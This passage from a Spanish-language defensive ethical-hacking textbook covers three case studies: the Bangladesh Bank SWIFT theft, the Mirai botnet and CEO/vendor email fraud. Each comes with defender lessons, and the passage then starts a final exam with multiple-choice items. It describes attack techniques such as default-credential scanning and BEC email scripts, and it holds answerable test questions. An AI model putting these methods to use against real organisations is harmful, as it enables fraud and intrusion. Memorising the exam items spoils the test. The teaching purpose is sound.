El plan casi funciona a la perfección. Pero hubo dos fallos de los atacantes que los salvaron (a los defensores, esta vez). Primero: en una transferencia de 20 millones a Sri Lanka, escribieron "Shalika Fandation" en lugar de "Foundation". El banco corresponsal (Deutsche Bank) notó la falta de ortografía, sospechó y pidió aclaración al banco central de Bangladesh. Segundo: el Banco de la Reserva Federal de Nueva York notó el volumen inusual de transferencias a cuentas personales en Filipinas y las detuvo para revisión. Para cuando el personal de Bangladesh regresó a trabajar y descubrió lo ocurrido, 81 millones ya se habían esfumado: transferidos a casinos filipinos (donde el dinero se lavó a través del juego) y a cuentas que se vaciaron rápidamente.

La investigación reveló la sofisticación del malware: no era un troyano genérico, sino software hecho a la medida del entorno SWIFT del banco, con módulos para ocultar las transferencias fraudulentas de los sistemas de monitoreo y para manipular la base de datos local de mensajes. Los atacantes conocían el protocolo SWIFT mejor que muchos empleados bancarios.

El dinero nunca se recuperó en su mayoría. El caso provocó una sacudida global: SWIFT (que siempre había dicho que su red central era segura y que la seguridad era responsabilidad de cada banco) lanzó su programa obligatorio de seguridad (Customer Security Programme) con controles exigibles a todos sus usuarios. Bangladesh demandó a varias partes; años después, Estados Unidos acusó formalmente a hackers norcoreanos.

El lavado del dinero mostró la otra mitad del crimen. Gran parte de los 81 millones terminó en casinos de Filipinas, que en ese entonces no estaban obligados a reportar operaciones sospechosas como los bancos: los criminales convirtieron el dinero en fichas, jugaron lo mínimo y lo retiraron "limpio". Otro tramo se fue a una fundación fantasma en Sri Lanka y a cuentas de prestanombres. Las autoridades filipinas lograron congelar y devolver solo una fracción. El caso también expuso la fragilidad de los bancos centrales de países en desarrollo frente a atacantes de nivel estatal: Bangladesh Bank operaba con infraestructura modesta, personal limitado y sin un equipo de seguridad dedicado, pero custodiaba miles de millones en reservas internacionales. Esa asimetría (blanco de alto valor, defensa de bajo presupuesto) es exactamente lo que buscan los atacantes sofisticados. Como defensor, el caso te enseña a pensar como el atacante a la hora de priorizar: protege primero lo que un criminal profesional consideraría el botín más jugoso.

Técnica y vector de ataque

El vector inicial fue phishing dirigido (spear phishing) contra empleados del banco: correos creíbles con adjuntos maliciosos que, al abrirse, instalaban una puerta trasera. Desde ahí, los atacantes hicieron reconocimiento interno prolongado (lo que en la jerga se llama "dwell time"): mapearon la red, identificaron la terminal SWIFT y estudiaron los procedimientos operativos, incluyendo los horarios en que nadie vigilaba.

La fase técnica central fue el malware a medida para el entorno SWIFT. Sus capacidades defensivamente relevantes: primero, manipulaba la interfaz entre el operador y el sistema, ocultando los mensajes fraudulentos de las pantallas y reportes (un ataque a la integridad de la información que ve el operador, primo hermano de lo que Stuxnet hacía con los sensores). Segundo, alteraba la base de datos local de mensajes para que las conciliaciones no mostraran las transferencias falsas. Tercero, incluía un módulo de borrado de huellas.

El fraude financiero en sí abusó de la confianza del sistema: una orden SWIFT válida, firmada con las credenciales legítimas del banco y enviada por sus canales oficiales, es tratada como legítima por todos los bancos receptores. Los atacantes no "hackearon" SWIFT como red: hackearon el extremo (el banco) y usaron sus llaves legítimas. Es el equivalente digital a robar el sello y la firma autorizada de la bóveda.

También explotaron el factor tiempo y la geografía: lanzaron el ataque cuando Bangladesh dormía (fin de semana + feriado), dirigieron el dinero a jurisdicciones con controles laxos (casinos filipinos que entonces no reportaban operaciones sospechosas como los bancos) y fragmentaron las transferencias para dificultar el rastreo.

Fallos defensivos

El fallo inicial: un empleado abrió el phishing y no había defensas suficientes para contenerlo (falta de segmentación, posiblemente sin autenticación multifactor en accesos clave, sin detección del malware a medida que los antivirus genéricos no reconocían).

El fallo arquitectónico: la terminal SWIFT (el sistema que puede mover cientos de millones con unas teclas) estaba en la misma red general del banco, alcanzable desde una estación de trabajo comprometida por phishing. Un sistema de ese nivel crítico debería estar en una red aislada, con accesos físicos y lógicos restringidísimos.

El fallo de monitoreo: nadie detectó meses de reconocimiento interno ni el tráfico anómalo. No había alertas sobre accesos fuera de horario a la terminal SWIFT ni sobre patrones inusuales de operación.

El fallo de procedimiento: las transferencias millonarias no requerían una verificación independiente fuera del sistema comprometido. Si una transferencia mayor a cierto monto hubiera exigido confirmación por un canal separado (llamada verificada a un número conocido, aprobación de dos directivos por vías distintas), el fraude se habría detenido aunque el sistema estuviera comprometido.

El fallo de la industria: SWIFT confiaba en que cada banco cuidara su extremo, sin exigir controles mínimos verificables. Después del robo, SWIFT tuvo que crear su programa de seguridad obligatorio: la lección es que en un sistema interconectado, el eslabón más débil pone en riesgo a todos, y alguien tiene que imponer el piso mínimo.

Lecciones para el defensor (lista concreta)

- Aísla los sistemas que mueven dinero. La terminal de pagos, la banca electrónica, el sistema de transferencias: red separada, accesos restringidos, sin correo ni navegación web en esas máquinas, autenticación multifactor obligatoria.
- Implementa verificación fuera de banda para operaciones críticas. Toda transferencia mayor a un umbral debe confirmarse por un segundo canal independiente (llamada a número verificado, aprobación en dispositivo separado). Si el sistema principal está comprometido, el segundo canal te salva.
- Define umbrales y alertas de anomalía. Una transferencia de 20 millones a una fundación desconocida en otro continente debería disparar una revisión humana automática, no pasar como una operación más. Configura reglas: montos, destinos nuevos, horarios inusuales, frecuencia anormal.
- Asume que el phishing va a funcionar alguna vez. Diseña para contenerlo: segmentación para que un equipo de usuario comprometido no llegue a los sistemas críticos, detección de movimiento lateral y respuesta rápida ante la primera señal.
- Protege la integridad de lo que ven tus operadores. Si tu monitoreo depende de reportes generados por el mismo sistema que podría estar comprometido, necesitas una fuente independiente de verificación (conciliaciones externas, reportes del banco corresponsal, bitácoras inmutables).
- Cuidado con los calendarios: refuerza la vigilancia en fines de semana y feriados. Los atacantes eligen esos momentos. Define guardias, alertas automáticas y procedimientos de escalamiento que funcionen aunque la oficina esté vacía.
- Conoce a tus contrapartes y jurisdicciones. Transferencias a casinos, fundaciones recién creadas o países con controles débiles merecen escrutinio extra. La debida diligencia sobre el destino es un control antifraude, no burocracia.
- En sistemas interconectados, exige el piso mínimo a todos. Si tu organización participa en una red (bancaria, de proveedores, de salud), impulsa estándares de seguridad obligatorios y verificables para los participantes: tu seguridad depende también de la del vecino más descuidado.

Si fueras el consultor

Si en 2015 hubieras auditado al banco central de Bangladesh, tu informe habría empezado por lo obvio y lo habría dicho sin suavizar: la terminal SWIFT es el activo más crítico y está tratada como una computadora más. Tus recomendaciones: primero, red aislada y dedicada para SWIFT, sin conectividad con la red de usuarios, con acceso físico controlado y registro de cada sesión. Segundo, doble control (four-eyes) obligatorio y verificación fuera de banda para

transferencias sobre el umbral, con una lista blanca de destinos habituales y revisión reforzada para destinos nuevos. Tercero, monitoreo 24/7 con alertas de anomalía en montos, destinos y horarios, incluyendo guardias en fines de semana. Cuarto, programa anti-phishing con simulacros para todo el personal con acceso a sistemas financieros y procedimiento de reporte inmediato. Quinto, bitácoras inmutables y conciliación independiente diaria de mensajes SWIFT contra los registros del banco corresponsal. El robo de Bangladesh enseña la lección más cara de este anexo: cuando el sistema maneja dinero real, la seguridad no es un gasto de TI, es el corazón del negocio. Como consultor, tu deber es decirle al cliente lo que no quiere oír: que su proceso de "confianza" es en realidad un proceso de "esperanza", y que la esperanza no detiene a un atacante paciente.

Caso 7: Mirai botnet (2016) - Cuando las cámaras de seguridad tumbaron medio internet

Contexto

El 21 de octubre de 2016, millones de personas en la costa este de Estados Unidos se quedaron sin acceso a Twitter, Netflix, Spotify, Reddit, PayPal y decenas de servicios más. No fue una falla de esas empresas: fue un ataque de denegación de servicio distribuido (DDoS) gigantesco contra Dyn, la empresa que proveía el servicio de DNS (la "guía telefónica" de internet) para todas ellas. Sin DNS, los navegadores no sabían a dónde ir: era como arrancar todas las páginas de la guía telefónica de una ciudad.

Lo extraordinario fue el arma: el ataque no vino de computadoras hackeadas, sino de cámaras de vigilancia, grabadores de video, routers caseros y otros dispositivos del "Internet de las Cosas" (IoT) infectados con un malware llamado Mirai. Cientos de miles de dispositivos domésticos, la mayoría con las contraseñas de fábrica ("admin/admin"), fueron reclutados como un ejército zombi que inundó a Dyn con tráfico basura hasta saturarlo. El ataque alcanzó 1.2 terabits por segundo, un récord en su momento.

Los creadores de Mirai no eran una agencia de espionaje: eran tres jóvenes estadounidenses (Paras Jha, Josiah White y Dalton Norman) que originalmente querían usar la botnet para atacar servidores del videojuego Minecraft y vender "protección" contra DDoS. Cuando el FBI se acercó, liberaron el código fuente de Mirai en un foro de hackers... y el infierno se multiplicó: cualquiera pudo descargar el arma y construir su propia botnet. Las variantes de Mirai siguen activas hasta hoy.

Qué pasó (narración)

Mirai funcionaba con una lógica insultantemente simple. El malware escaneaba internet buscando dispositivos IoT con el puerto Telnet abierto (un protocolo antiquísimo para administración remota, que transmite todo en texto plano, incluidas las contraseñas). Cuando encontraba uno, probaba una lista de unas 60 combinaciones de usuario y contraseña... de fábrica. "admin/admin", "root/12345", "guest/guest": las credenciales que los fabricantes ponen por defecto y que casi nadie cambia. Si acertaba (y acertaba muchísimo), instalaba el malware, cerraba la puerta tras de sí (bloqueaba Telnet para que otros Mirai no le quitaran "su" dispositivo) y reportaba el nuevo soldado al servidor de comando y control.

Así, en semanas, los creadores reunieron entre 400,000 y 600,000 dispositivos zombi en todo el mundo: cámaras chinas baratas, routers de proveedores de internet, grabadores de video digital. Los dueños no notaban nada: los dispositivos seguían funcionando "normalmente" mientras en segundo plano participaban en ataques.

El 21 de octubre, la orden fue atacar a Dyn. Decenas o cientos de miles de dispositivos empezaron a enviar peticiones DNS falsas y tráfico basura contra los servidores de Dyn simultáneamente. Dyn, uno de los mayores proveedores de DNS del mundo, se vio saturado: sus servidores no daban abasto para responder el tráfico legítimo entre la avalancha de basura. El ataque vino en tres oleadas a lo largo del día; entre oleada y oleada, los ingenieros de Dyn mitigaban y el servicio se recuperaba parcialmente, hasta que la siguiente oleada volvía a tumbarlo.

El impacto fue global aunque el objetivo fuera estadounidense: al caer el DNS de Dyn, caían los servicios que dependían de él en todo el mundo. Millones de usuarios y miles de empresas se quedaron sin servicio durante horas. El Departamento de Seguridad Nacional de Estados Unidos investigó; el costo económico se estimó en millones solo en ventas perdidas y mitigación.

La historia no terminó ahí. Al liberarse el código fuente, surgieron decenas de variantes (Hajime, Persirai, Satori, entre muchas) que mejoraron el malware: más credenciales, más vulnerabilidades explotadas, objetivos nuevos. Mirai se convirtió en una plataforma de ataque permanente. Cada vez que sale al mercado una oleada de dispositivos IoT inseguros (y salen todos los días), alguna variante de Mirai los recluta.

Los tres creadores fueron identificados, se declararon culpables y recibieron condenas leves (libertad condicional y servicio comunitario, colaborando con el FBI). El verdadero castigo fue para la industria: el caso Mirai es citado hasta hoy como el ejemplo definitivo de por qué la seguridad en IoT no es opcional.

La respuesta regulatoria tardó pero llegó. California aprobó en 2018 la primera ley de seguridad IoT de Estados Unidos (SB-327), que exige contraseñas únicas por dispositivo o que el usuario las cambie en la configuración inicial: una respuesta directa a la lección de Mirai. La Unión Europea avanzó con el Cyber Resilience Act, que impone requisitos de seguridad a los productos conectados. Y en la industria, el caso impulsó buenas prácticas que hoy son estándar en fabricantes serios: actualizaciones automáticas, desactivación de servicios inseguros como Telnet y programas de recompensas por vulnerabilidades. Aun así, el problema de fondo persiste: se siguen vendiendo millones de dispositivos baratos sin estas protecciones, especialmente en mercados sin regulación. Las botnets derivadas de Mirai se alquilan hoy en mercados criminales para ataques DDoS por encargo, y cualquier adolescente con una tarjeta de crédito puede contratar uno. Como defensor, Mirai te deja una misión doble: protege tus propios dispositivos y, si trabajas en tecnología, nunca aceptes que "la seguridad encarece el producto" sea excusa para vender vulnerabilidades empaquetadas.

Técnica y vector de ataque

El vector de infección era el escaneo masivo de Telnet (puerto 23) con diccionario de credenciales por defecto. Técnicamente trivial, operacionalmente devastador por la escala: había millones de dispositivos con Telnet expuesto a internet y contraseñas de fábrica. Mirai no explotaba vulnerabilidades de software sofisticadas (las variantes posteriores sí agregaron exploits): explotaba la negligencia humana e industrial.

Una vez infectado el dispositivo, el malware vivía solo en memoria RAM: si reiniciabas la cámara, se limpiaba... hasta que otro escaneo de Mirai la reinfectaba en minutos, porque la causa raíz (Telnet abierto + contraseña débil) seguía ahí. Era una infección crónica del ecosistema, no de aparatos individuales.

La arquitectura de comando y control era clásica de botnet: servidores C2 que enviaban órdenes a los bots (atácame este objetivo, con esta técnica, durante este tiempo). Mirai soportaba varios tipos de ataque DDoS: inundación UDP, SYN, ACK, DNS, HTTP. Contra Dyn usó principalmente tráfico que saturaba la capacidad de respuesta de los servidores DNS.

El ataque DDoS en sí no "hackeó" a Dyn: simplemente la ahogó. Es importante entender la diferencia defensiva: un DDoS no necesita vulnerabilidades en la víctima; necesita volumen. Y el volumen lo pusieron cientos de miles de dispositivos ajenos a la víctima. La defensa, por tanto, no está solo en tus servidores, sino en la capacidad de absorber o desviar tráfico malicioso (mitigación en la nube, anycast, filtrado) y, a nivel de ecosistema, en que esos dispositivos no sean reclutables.

Fallos defensivos

El fallo de los fabricantes: vender millones de dispositivos con Telnet abierto a internet y credenciales por defecto idénticas, sin obligar al usuario a cambiarlas en la primera configuración, sin mecanismo de actualización automática de firmware y sin opción de desactivar la administración remota. La seguridad era un costo que nadie quiso pagar, hasta que el costo lo pagaron otros.

El fallo de los usuarios y proveedores de internet: conectar dispositivos a la red sin cambiar la contraseña, sin segmentarlos y sin actualizarlos. Los ISP, además, permitían que el tráfico Telnet cruzara libremente y no notificaban a clientes con dispositivos visiblemente infectados.

El fallo de la víctima (Dyn y sus clientes): dependencia de un único proveedor de DNS. Cuando Dyn cayó, no había un plan B. La lección arquitectónica: los servicios críticos necesitan redundancia de DNS con múltiples proveedores independientes (DNS secundario), de modo que la caída de uno no sea la caída de todos.

El fallo del ecosistema: no existían (y en muchos países siguen sin existir) regulaciones que exijan seguridad mínima en dispositivos IoT: contraseñas únicas por dispositivo, actualizaciones automáticas, cifrado y desactivación de servicios innecesarios. El mercado premió al más barato, no al más seguro.

El fallo posterior a la liberación del código: la industria tardó años en reaccionar. Las variantes de Mirai siguen infectando dispositivos nuevos cada día porque se siguen vendiendo dispositivos con los mismos defectos de 2016.

Lecciones para el defensor (lista concreta)

- Cambia las credenciales por defecto de TODO lo que conectes. Cámaras, routers, impresoras, grabadores: lo primero al desempaquetar es cambiar usuario y contraseña por unas fuertes y únicas. Si el dispositivo no permite cambiarlas, no lo compres.
- Aísla el IoT en su propia red. Crea una red separada (VLAN o red de invitados) para cámaras y dispositivos inteligentes, sin acceso a tu red principal ni a internet salvo lo estrictamente necesario. Un dispositivo IoT comprometido en una red aislada es un problema menor.
- Desactiva la administración remota desde internet. Telnet, SSH o paneles web de tus dispositivos no deben ser accesibles desde fuera de tu red. Si tu router lo permite por defecto, apágalo.

- Actualiza el firmware de tus dispositivos. Revisa cada seis meses si hay actualizaciones para cámaras, routers y demás IoT. Si el fabricante ya no publica actualizaciones, considera reemplazar el dispositivo.
- Para servicios críticos: redundancia de DNS y plan anti-DDoS. Usa al menos dos proveedores de DNS independientes y contrata (o ten listo) un servicio de mitigación DDoS en la nube. Prueba tu plan antes de necesitarlo: un simulacro de "¿qué pasa si cae nuestro DNS?" vale oro.
- Monitorea el tráfico saliente de tu red. Un dispositivo IoT participando en un DDoS genera patrones anómalos de tráfico saliente. Un monitoreo básico puede revelar que tu cámara "habla" con medio mundo a las 3 de la mañana.
- Si compras IoT para tu empresa, exige seguridad en la compra. Pide a los proveedores: contraseñas únicas por dispositivo, actualizaciones automáticas, cifrado, y política de divulgación de vulnerabilidades. La seguridad se compra en la licitación, no se parcha después.
- Reiniciar no basta: corrige la causa. Si encuentras un dispositivo infectado, reiniciarlo lo limpia temporalmente; cambiar credenciales, cerrar puertos y actualizar firmware lo protege de verdad.

Si fueras el consultor

Si en 2016 hubieras asesorado a una empresa dependiente de servicios en la nube, tu recomendación estrella habría sido la redundancia de DNS multi-proveedor: un costo mensual modesto contra el riesgo de horas de caída total. Para un fabricante de IoT, tu informe habría exigido: credenciales únicas por dispositivo impresas en la etiqueta, asistente de configuración que obligue a cambiarlas, actualizaciones automáticas de firmware, Telnet desactivado por defecto y un programa de respuesta a vulnerabilidades. Para un hogar u oficina, tu consejo sería el de la higiene básica: cambia contraseñas, segmenta la red, actualiza. Mirai enseña la lección más democrática de este anexo: la seguridad del internet global depende en parte de la cámara barata que alguien instaló sin cambiarle la contraseña. Como defensor, tu trabajo incluye educar: cada dispositivo que ayudas a asegurar es un soldado menos en la próxima botnet.

Caso 8: El BEC que vació tesorerías corporativas - El fraude del "CEO" multimillonario

Contexto

El BEC (Business Email Compromise, o "compromiso del correo empresarial") es el delito cibernético más rentable del mundo según el FBI: entre 2016 y 2023, las pérdidas reportadas superaron los 50,000 millones de dólares a nivel global. No usa malware avanzado ni exploits de día cero. Usa algo más poderoso: la autoridad, la prisa y la confianza.

El caso emblemático: en 2015-2016, un hombre lituano (Evaldas Rimasauskas) orquestó un fraude BEC contra dos gigantes tecnológicos estadounidenses (identificados en la prensa como Facebook y Google) y logró que le transfirieran más de 100 millones de dólares. ¿Cómo? Se hizo pasar por Quanta Computer, un fabricante taiwanés real que era proveedor de ambas empresas, con correos y facturas falsificadas pero convincentes. Durante dos años, los departamentos de finanzas de dos de las empresas más sofisticadas del planeta le pagaron facturas falsas a cuentas controladas por él en varios países. Fue arrestado, extraditado a Estados Unidos y condenado a cinco años de prisión, con orden de devolver el dinero.

Otro caso famoso: la empresa de tecnología Ubiquiti Networks perdió 46.7 millones de dólares en 2015 cuando su departamento de finanzas recibió correos supuestamente del CEO y de un abogado externo, ordenando transferencias "confidenciales" para una adquisición secreta. El empleado obedeció durante semanas, transfiriendo millones a cuentas en el extranjero, hasta que alguien por fin llamó al CEO para confirmar... y descubrió que el CEO no sabía nada.

Estos casos no son excepciones: son el pan de cada día. El BEC es el ataque favorito contra empresas porque ataca donde más duele y menos se vigila: los procesos de pago.

Qué pasó (narración)

El guion del BEC clásico (la variante "fraude del CEO") es casi teatral. Primero, los atacantes investigan a la empresa: quién es el CEO, quién autoriza pagos, quién es el proveedor clave, cuándo hay una adquisición o un cierre contable (momentos de prisa y secretismo). Toda esa información está en LinkedIn, en notas de prensa y en los propios correos filtrados en brechas anteriores.

Luego viene el contacto. El atacante envía un correo al responsable de finanzas haciéndose pasar por el CEO: "Estoy en una reunión confidencial, no puedo hablar por teléfono. Necesito que transfieras X millones a esta cuenta hoy mismo para cerrar una adquisición. Es urgente y estrictamente confidencial, no lo comentes con nadie." El correo viene de una dirección parecida a la real (ceo@empresa.com vs ceo@empresa.co) o de la cuenta real comprometida del ejecutivo. A veces hay un segundo personaje: un "abogado externo" que "confirma" la operación y presiona con tecnicismos legales.

El empleado, entre la autoridad del jefe y la urgencia, obedece. Transfiere el dinero a una cuenta en un banco extranjero. Los atacantes lo mueven de inmediato entre varias cuentas y jurisdicciones (el "layering" del lavado de dinero) y en 24-48 horas el rastro se enfría: el dinero ya está en efectivo, en criptomonedas o en cuentas inalcanzables.

En el caso de Rimasauskas contra Facebook y Google, la variante fue el "fraude al proveedor": en lugar de suplantar al CEO, suplantó a un proveedor real con facturas reales... pero con cuentas bancarias cambiadas. Los departamentos de cuentas por pagar recibieron correos "del proveedor" avisando de un "cambio de cuenta bancaria" y adjuntando facturas con los nuevos datos. Como las facturas correspondían a servicios reales que la empresa sí había contratado, nadie sospechó: solo cambiaron a dónde se pagaba. Durante dos años.

La variante más dañina hoy es el "cambio de datos bancarios" contra proveedores y nóminas: un correo que parece venir de un proveedor habitual ("actualizamos nuestra cuenta, por favor paguen aquí a partir de ahora") o de un empleado ("cambié de banco, depositen mi nómina en esta cuenta"). Simple, creíble y devastador.

El FBI estima que el BEC cuesta a las empresas miles de millones al año, y la mayoría de los casos no se reportan por vergüenza. A diferencia del ransomware, que hace ruido, el BEC es silencioso: la empresa descubre el fraude semanas después, cuando el proveedor real reclama su pago... que ya se hizo, pero al criminal.

El BEC además evoluciona más rápido que las defensas. Después de los casos clásicos por correo, los criminales adoptaron nuevas variantes: suplantación por mensajes de texto y WhatsApp, videollamadas con deepfakes de directivos (ya hay casos documentados de empleados que transfirieron millones tras una videollamada con un "CEO" generado por IA), y fraudes de nómina donde se desvían los salarios de empleados reales. El FBI reportó que solo en 2023 las pérdidas por BEC superaron los 2,900 millones de dólares en Estados Unidos, y eso contando solo lo denunciado. Los sectores más golpeados son los de bienes raíces (fraude en cierres de compraventa de casas, donde se interceptan las instrucciones de pago del enganche), la manufactura y los servicios profesionales. Y un dato que todo defensor debe conocer: el BEC funciona mejor contra empresas medianas, que mueven dinero suficiente para ser jugosas pero no tienen los controles de una corporación gigante. Como consultor, ese es tu mercado natural: la empresa que cree que "esto le pasa a otros" es exactamente el perfil de la próxima víctima.

Técnica y vector de ataque

El vector del BEC es 100% ingeniería social sobre correo electrónico, con tres variantes principales:

1. Suplantación del ejecutivo (fraude del CEO): el atacante se hace pasar por un directivo y ordena transferencias urgentes y confidenciales. Usa dominios parecidos (typosquatting: empresa.com vs empresa-corporativa.com), cuentas gratuitas con el nombre del ejecutivo, o la cuenta real comprometida del directivo (vía phishing previo).
2. Suplantación del proveedor: el atacante se hace pasar por un proveedor real y notifica un cambio de datos bancarios. Es la variante más rentable porque los pagos son recurrentes y nadie cuestiona pagarle al proveedor de siempre.
3. Compromiso de cuenta legítima: el atacante primero compromete (vía phishing) la cuenta de correo de un empleado o directivo real y opera desde dentro: lee conversaciones, aprende el tono y los procesos, y en el momento oportuno envía la orden fraudulenta desde la cuenta auténtica. Es casi indetectable para la víctima porque "el correo sí vino del jefe".

Técnicamente, los atacantes usan: registros de dominios parecidos, reglas de reenvío ocultas en cuentas comprometidas (para espiar sin ser vistos), y suplantación de identidad en los encabezados del correo (spoofing) cuando la empresa no tiene configuradas las protecciones de autenticación de correo (SPF, DKIM y DMARC). También explotan la psicología: urgencia ("hoy mismo"), autoridad ("lo ordena el CEO"), secretismo ("no lo comentes con nadie", que convenientemente impide la verificación) y normalidad ("es el pago mensual al proveedor").

El lavado es parte de la técnica: cuentas de "mulas" (personas reclutadas con ofertas de trabajo falsas), transferencias rápidas entre jurisdicciones y conversión a activos difíciles de rastrear. Cada hora que pasa sin detectar el fraude reduce drásticamente la probabilidad de recuperar el dinero.

Fallos defensivos

El fallo raíz: procesos de pago basados en confianza y en un solo correo. Si una transferencia millonaria puede ordenarse con un email, sin verificación independiente, el proceso está roto por diseño. Ni Facebook ni Google ni Ubiquiti tenían un control que exigiera confirmar por un segundo canal.

Segundo fallo: falta de autenticación de correo (SPF, DKIM, DMARC). Sin estos tres protocolos configurados y en modo estricto, cualquiera puede enviar correos que parecen venir de tu dominio. Es como no tener firma en tus cheques: cualquiera puede falsificarlos.

Tercer fallo: no verificar cambios de datos bancarios. Aceptar por correo un "cambio de cuenta" de un proveedor, sin llamar a un número conocido previamente para confirmarlo, es entregar la tesorería al primer suplantador que escriba bien.

Cuarto fallo: cultura del "el jefe siempre tiene razón y no se le cuestiona". En muchas empresas, cuestionar una orden del CEO (aunque venga por correo) se ve como insubordinación. Los atacantes lo saben y lo explotan. La verificación no es desconfianza: es procedimiento.

Quinto fallo: falta de entrenamiento específico para finanzas. El personal que maneja dinero es el objetivo número uno y a menudo el menos entrenado en fraude. Un taller anual genérico de "no abras correos raros" no prepara a nadie contra un BEC bien construido.

Sexto fallo: detección tardía. Sin conciliaciones frecuentes ni alertas de pagos a cuentas nuevas, el fraude se descubre cuando el proveedor real reclama. Cada día de retraso es dinero perdido para siempre.

Lecciones para el defensor (lista concreta)

- Verificación fuera de banda para pagos y cambios bancarios. Regla de oro: toda orden de transferencia inusual y todo cambio de datos bancarios se confirma por un segundo canal (llamada a un número conocido de antes, no al que viene en el correo sospechoso). Sin excepciones, ni siquiera si "lo pide el CEO".
- Implementa SPF, DKIM y DMARC en modo estricto. Estos tres protocolos impiden que otros suplanten tu dominio en el correo. Configúralos, llévalos a política de rechazo (p=reject) y monitorea los reportes. Es de lo más barato y efectivo que existe.
- Doble autorización para transferencias. Que ninguna persona pueda ordenar y ejecutar sola un pago importante: dos firmas, dos aprobadores, o un flujo de aprobación en el sistema financiero. El fraude del CEO muere cuando el "CEO" no puede saltarse el procedimiento.
- Lista blanca de cuentas de proveedores. Los pagos solo salen a cuentas previamente registradas y verificadas. Cualquier cuenta nueva o modificada pasa por un proceso formal de alta con verificación telefónica a número conocido.
- Entrena específicamente al equipo de finanzas. Simulacros de BEC realistas (correos del "CEO" pidiendo transferencias urgentes), con reporte de resultados y refuerzo. El que maneja dinero debe ser tu empleado más escéptico, no el más obediente.
- Crea una cultura donde verificar sea obligatorio y bien visto. Publica la política por escrito y con respaldo de la dirección: "ninguna orden de pago por correo se ejecuta sin verificación, venga de quien venga". Protege al empleado que verifica: nunca debe ser castigado por "tardarse" en obedecer.

- Conciliación y alertas tempranas. Revisa diariamente los pagos a cuentas nuevas o modificadas recientemente. Configura alertas en la banca electrónica para transferencias sobre el umbral o a destinos no habituales.
- Ten un plan de respuesta a fraude financiero. Si descubres un BEC: contacta a tu banco INMEDIATAMENTE (las primeras 24-72 horas son críticas para intentar revertir), avisa al banco receptor, denuncia ante la policía cibernética y preserva toda la evidencia (correos completos con encabezados).

Si fueras el consultor

Si auditaras la tesorería de una empresa mediana, tu informe sobre BEC sería corto y contundente. Primero: mapear todos los flujos de pago y marcar los puntos donde un solo correo puede mover dinero: esos puntos se rediseñan con doble autorización y verificación fuera de banda. Segundo: implementar SPF, DKIM y DMARC en 30 días (es un proyecto de días, no de meses). Tercero: procedimiento formal de alta y cambio de cuentas de proveedores, con verificación telefónica a números del directorio maestro (nunca a los del correo que pide el cambio). Cuarto: simulacro de BEC para finanzas cada seis meses, con métricas de quién cayó y refuerzo dirigido. Quinto: póliza de seguro contra fraude cibernético y plan de respuesta con los teléfonos del banco y de la policía cibernética a la mano. El BEC es el caso perfecto para vender seguridad a la dirección: no hablas de firewalls ni de exploits, hablas de dinero contante que puede desaparecer con un correo. Y la defensa no requiere tecnología cara: requiere procedimientos que nadie pueda saltarse, ni siquiera el CEO. Esa es tu frase de cierre como consultor: "el procedimiento protege al empleado del fraude y a la empresa del empleado apurado".

Fin del Anexo C. Los ocho casos comparten una moraleja: ningún atacante de esta lista ganó por ser invencible; ganó porque algún defensor no hizo lo básico a tiempo: parchar, verificar, segmentar, desconfiar del correo urgente. Tu trabajo como hacker ético defensivo es convertir esas lecciones ajenas en hábitos propios, antes de que tu organización protagonice el caso número nueve.

EXAMEN FINAL

Instrucciones: responde sin consultar el libro. La primera parte es de opción múltiple (una sola respuesta correcta) y verdadero/falso. La segunda parte son preguntas abiertas: responde con tus palabras. Al final están todas las respuestas explicadas. Puntaje: 90+ excelente, 70-89 bien (repasa tus fallos), menos de 70 vuelve a estudiar las unidades débiles.

Preguntas de opción múltiple

PREGUNTA 1. ¿Qué distingue al hacking ético del delito informático?

a) Las herramientas que usa b) La autorización, la intención defensiva y el respeto a la ley c) Que no cobra por su trabajo d) Que solo trabaja de noche

PREGUNTA 2. ¿Cuál es el orden correcto de las fases de un pentest?

a) Escaneo, reconocimiento, explotación, reporte, análisis b) Reconocimiento, escaneo, análisis de vulnerabilidades, explotación controlada, reporte c) Explotación, reconocimiento, escaneo, reporte, análisis d) Reporte, reconocimiento, escaneo, análisis, explotación

PREGUNTA 3. Un amigo te pide que "revises" la red Wi-Fi de su vecino para ver si es segura, sin que el vecino lo sepa. ¿Qué debes hacer?

a) Hacerlo, total es por ayudar b) Hacerlo solo si no entras a nada c) Negarte: sin autorización del dueño es ilegal aunque no dañes nada d) Hacerlo y contarle al vecino después

PREGUNTA 4. ¿Qué es un snapshot en VirtualBox?

a) Una captura de pantalla b) Una copia del estado de la máquina virtual para revertir cambios c) Un tipo de virus d) Una herramienta de escaneo

PREGUNTA 5. ¿Qué modo de red de VirtualBox se recomienda para un laboratorio aislado donde las VMs se ven entre sí?

a) Puente (bridged) a la red doméstica b) Red NAT de laboratorio c) Conexión directa a internet sin filtro d) No importa, todas son iguales

PREGUNTA 6. En la terminal de Linux, ¿qué hace el comando `sudo`?

a) Apaga el equipo b) Ejecuta un comando con permisos de administrador c) Muestra la ayuda d) Lista archivos ocultos

PREGUNTA 7. ¿Qué es Metasploitable?

a) Un antivirus b) Una máquina virtual intencionalmente vulnerable para practicar c) Un tipo de firewall d) Un virus famoso

PREGUNTA 8. ¿Cuál es la diferencia entre reconocimiento pasivo y activo?

a) No hay diferencia b) El pasivo no interactúa con los sistemas del objetivo; el activo sí c) El pasivo es ilegal y el activo es legal d) El pasivo usa Kali y el activo usa Windows

PREGUNTA 9. ¿Para qué sirve un Google dork como `site:tuempresa.com filetype:pdf` usado defensivamente?

a) Para atacar a la competencia b) Para encontrar documentos de tu propia empresa expuestos públicamente c) Para mejorar el posicionamiento web d) Para descargar PDFs gratis

PREGUNTA 10. ¿Qué información puedes obtener con `dig ejemplo.com MX +short`?

a) La contraseña del administrador b) Los servidores de correo del dominio c) Los usuarios del sistema d) El tráfico de la red

PREGUNTA 11. En Nmap, ¿qué significa que un puerto esté "abierto"?

a) Que el firewall lo bloquea b) Que hay un servicio respondiendo en ese puerto c) Que la máquina está apagada d) Que el puerto no existe

PREGUNTA 12. ¿Qué hace la opción `-sV` de Nmap?

a) Escaneo sigiloso b) Detecta versiones de los servicios en puertos abiertos c) Escanea solo 100 puertos d) Muestra la velocidad del escaneo

PREGUNTA 13. ¿Por qué un defensor debe escanear también UDP y no solo TCP?

a) Porque es más rápido b) Porque servicios importantes (DNS, DHCP) usan UDP y quedarían sin revisar c) Porque TCP ya no se usa d) No debe; con TCP basta

PREGUNTA 14. ¿Qué significa CVE?

a) Un tipo de virus b) Identificador único público de una vulnerabilidad conocida c) Un programa antivirus d) Una técnica de hacking

PREGUNTA 15. Un CVE con puntaje CVSS 9.8 es de severidad:

